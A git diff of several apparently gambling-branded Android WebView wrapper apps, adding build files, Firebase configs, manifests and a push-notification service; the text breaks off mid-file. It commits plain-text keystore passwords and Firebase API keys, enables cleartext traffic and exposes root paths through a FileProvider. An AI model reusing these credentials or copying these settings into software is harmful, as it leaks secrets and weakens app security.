@@ -0,0 +1,2 @@
/build
/release

View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "millionking99"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.noti.MillionKing96"
//app大背景色
resValue('color', 'windows_color', '#1A1A1A')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#08192A')
//app 名字
resValue('string', 'app_name', 'millionking99')
buildConfigField "int", "USERID", "38"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "1021639933363",
"project_id": "millionking96-23dcc",
"storage_bucket": "millionking96-23dcc.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:1021639933363:android:be591653331176f2519fc6",
"android_client_info": {
"package_name": "com.noti.MillionKing96"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyAuQH2SmwSGGIRaNO3e1KrDeSysnSmmcfY"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
millionking96/justlet.jks Normal file

Binary file not shown.

32
millionking96/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 752 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
millionking96/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'MK99PGK')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "118"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'MYKLBET')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "296"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'NEFTSOFT')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "294"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'LIVE22')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "262"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -3,7 +3,7 @@ plugins {
id 'com.google.gms.google-services'
}
def appOutPutName = "nova9sg"
def appOutPutName = "Nova9"
android {
namespace rootProject.ext.namespace
@@ -22,10 +22,9 @@ android {
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#0B0B0B')
//app 名字
resValue('string', 'app_name', 'NOVA9SG')
resValue('string', 'app_name', 'Nova9')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "220"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -11,8 +11,8 @@ android {
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode 142
versionName "v1.4.2"
versionCode 150
versionName "v1.5.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.and.pantas3342"
@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'Pantas33')
buildConfigField "String", "BASE_URL", "\"https://www.pantas33e.com/\""
buildConfigField "int", "USERID", "142"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
pasti77/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
pasti77/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "pasti77"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.hsada.pasti77"
//app大背景色
resValue('color', 'windows_color', '#FFFFFD')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#F0F8D9')
//app 名字
resValue('string', 'app_name', 'pasti77')
buildConfigField "int", "USERID", "303"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "608190460831",
"project_id": "pasti77-eb325",
"storage_bucket": "pasti77-eb325.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:608190460831:android:bf1499c7a8e0912290c3aa",
"android_client_info": {
"package_name": "com.hsada.pasti77"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyBbTxyvSjzW90NIC6OryGaQK3sdOwu3lu0"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
pasti77/justlet.jks Normal file

Binary file not shown.

32
pasti77/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
